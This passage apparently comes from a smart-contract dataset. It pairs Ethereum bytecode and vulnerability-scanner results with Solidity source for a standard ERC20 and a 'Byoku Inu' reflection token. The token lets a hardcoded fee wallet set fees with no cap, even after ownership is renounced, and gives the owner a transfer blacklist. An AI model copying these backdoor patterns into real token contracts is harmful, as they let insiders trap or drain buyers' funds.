00000000000000000000000000000000000000000000000000000000602082015250565b6000612fc36024836126d5565b9150612fce82612f67565b604082019050919050565b60006020820190508181036000830152612ff281612fb6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006130556022836126d5565b915061306082612ff9565b604082019050919050565b6000602082019050818103600083015261308481613048565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130e76025836126d5565b91506130f28261308b565b604082019050919050565b60006020820190508181036000830152613116816130da565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006131796023836126d5565b91506131848261311d565b604082019050919050565b600060208201905081810360008301526131a88161316c565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061320b6029836126d5565b9150613216826131af565b604082019050919050565b6000602082019050818103600083015261323a816131fe565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b60006132776019836126d5565b915061328282613241565b602082019050919050565b600060208201905081810360008301526132a68161326a565b9050919050565b60006132b8826127f7565b91506132c3836127f7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132f8576132f7612ca0565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b6000613339601a836126d5565b915061334482613303565b602082019050919050565b600060208201905081810360008301526133688161332c565b9050919050565b600061337a826127f7565b9150613385836127f7565b92508282101561339857613397612ca0565b5b828203905092915050565b60006133ae826127f7565b91506133b9836127f7565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133f2576133f1612ca0565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613437826127f7565b9150613442836127f7565b925082613452576134516133fd565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006134b96021836126d5565b91506134c48261345d565b604082019050919050565b600060208201905081810360008301526134e8816134ac565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600061354b602a836126d5565b9150613556826134ef565b604082019050919050565b6000602082019050818103600083015261357a8161353e565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6135b6816127b9565b82525050565b60006135c883836135ad565b60208301905092915050565b6000602082019050919050565b60006135ec82613581565b6135f6818561358c565b93506136018361359d565b8060005b8381101561363257815161361988826135bc565b9750613624836135d4565b925050600181019050613605565b5085935050505092915050565b600060a08201905061365460008301886128a3565b6136616020830187612e24565b818103604083015261367381866135e1565b90506136826060830185612b9b565b61368f60808301846128a3565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006136cf601b836126d5565b91506136da82613699565b602082019050919050565b600060208201905081810360008301526136fe816136c2565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220abb038d5212e5c7791afbeb1946725b47d51a8c132846e0cd5529ac5d54afef164736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
6,796
0xd92b3100e19bef7a32aef1451d891f99f9316e13
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All three of these values are immutable: they can only be set once during * construction. */ constructor () { _name = "Grosh Coin"; _symbol = "GROSH"; _mint(_msgSender(), 21000000000000000); } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overloaded; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 8; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190611015565b60405180910390f35b6100e660048036038101906100e19190610c8e565b610308565b6040516100f39190610ffa565b60405180910390f35b610104610326565b6040516101119190611117565b60405180910390f35b610134600480360381019061012f9190610c3f565b610330565b6040516101419190610ffa565b60405180910390f35b610152610431565b60405161015f9190611132565b60405180910390f35b610182600480360381019061017d9190610c8e565b61043a565b60405161018f9190610ffa565b60405180910390f35b6101b260048036038101906101ad9190610bda565b6104e6565b6040516101bf9190611117565b60405180910390f35b6101d061052e565b6040516101dd9190611015565b60405180910390f35b61020060048036038101906101fb9190610c8e565b6105c0565b60405161020d9190610ffa565b60405180910390f35b610230600480360381019061022b9190610c8e565b6106b4565b60405161023d9190610ffa565b60405180910390f35b610260600480360381019061025b9190610c03565b6106d2565b60405161026d9190611117565b60405180910390f35b6060600380546102859061127b565b80601f01602080910402602001604051908101604052809291908181526020018280546102b19061127b565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c610315610759565b8484610761565b6001905092915050565b6000600254905090565b600061033d84848461092c565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610388610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff90611097565b60405180910390fd5b61042585610414610759565b858461042091906111bf565b610761565b60019150509392505050565b60006008905090565b60006104dc610447610759565b848460016000610455610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104d79190611169565b610761565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606004805461053d9061127b565b80601f01602080910402602001604051908101604052809291908181526020018280546105699061127b565b80156105b65780601f1061058b576101008083540402835291602001916105b6565b820191906000526020600020905b81548152906001019060200180831161059957829003601f168201915b5050505050905090565b600080600160006105cf610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561068c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610683906110f7565b60405180910390fd5b6106a9610697610759565b8585846106a491906111bf565b610761565b600191505092915050565b60006106c86106c1610759565b848461092c565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c8906110d7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610841576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083890611057565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161091f9190611117565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561099c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610993906110b7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0390611037565b60405180910390fd5b610a17838383610bab565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9490611077565b60405180910390fd5b8181610aa991906111bf565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b399190611169565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b9d9190611117565b60405180910390a350505050565b505050565b600081359050610bbf8161131c565b92915050565b600081359050610bd481611333565b92915050565b600060208284031215610bec57600080fd5b6000610bfa84828501610bb0565b91505092915050565b60008060408385031215610c1657600080fd5b6000610c2485828601610bb0565b9250506020610c3585828601610bb0565b9150509250929050565b600080600060608486031215610c5457600080fd5b6000610c6286828701610bb0565b9350506020610c7386828701610bb0565b9250506040610c8486828701610bc5565b9150509250925092565b60008060408385031215610ca157600080fd5b6000610caf85828601610bb0565b9250506020610cc085828601610bc5565b9150509250929050565b610cd381611205565b82525050565b6000610ce48261114d565b610cee8185611158565b9350610cfe818560208601611248565b610d078161130b565b840191505092915050565b6000610d1f602383611158565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610d85602283611158565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610deb602683611158565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610e51602883611158565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610eb7602583611158565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f1d602483611158565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f83602583611158565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b610fe581611231565b82525050565b610ff48161123b565b82525050565b600060208201905061100f6000830184610cca565b92915050565b6000602082019050818103600083015261102f8184610cd9565b905092915050565b6000602082019050818103600083015261105081610d12565b9050919050565b6000602082019050818103600083015261107081610d78565b9050919050565b6000602082019050818103600083015261109081610dde565b9050919050565b600060208201905081810360008301526110b081610e44565b9050919050565b600060208201905081810360008301526110d081610eaa565b9050919050565b600060208201905081810360008301526110f081610f10565b9050919050565b6000602082019050818103600083015261111081610f76565b9050919050565b600060208201905061112c6000830184610fdc565b92915050565b60006020820190506111476000830184610feb565b92915050565b600081519050919050565b600082825260208201905092915050565b600061117482611231565b915061117f83611231565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156111b4576111b36112ad565b5b828201905092915050565b60006111ca82611231565b91506111d583611231565b9250828210156111e8576111e76112ad565b5b828203905092915050565b60006111fe82611211565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561126657808201518184015260208101905061124b565b83811115611275576000848401525b50505050565b6000600282049050600182168061129357607f821691505b602082108114156112a7576112a66112dc565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b611325816111f3565b811461133057600080fd5b50565b61133c81611231565b811461134757600080fd5b5056fea2646970667358221220afc3d27aa2074e0e55e45546cdf4c5b88932fba7fb2e56d6167338bae645f03864736f6c63430008000033
{"success": true, "error": null, "results": {}}
6,797
0xaF111872e130F0CBAE5Fc6f31f51e8E465F71668
/** * **/ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Byoku is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1 = 5; uint256 private _feeAddr2 = 5; address payable private _feeAddrWallet1 = payable(0x8BA406c0390da8f87cB72A4c7aE882AF20e9684B); address payable private _feeAddrWallet2 = payable(0x8BA406c0390da8f87cB72A4c7aE882AF20e9684B); string private constant _name = "Byoku Inu"; string private constant _symbol = "BYOKU"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setFeeAmountOne(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr1 = fee; } function setFeeAmountTwo(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr2 = fee; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 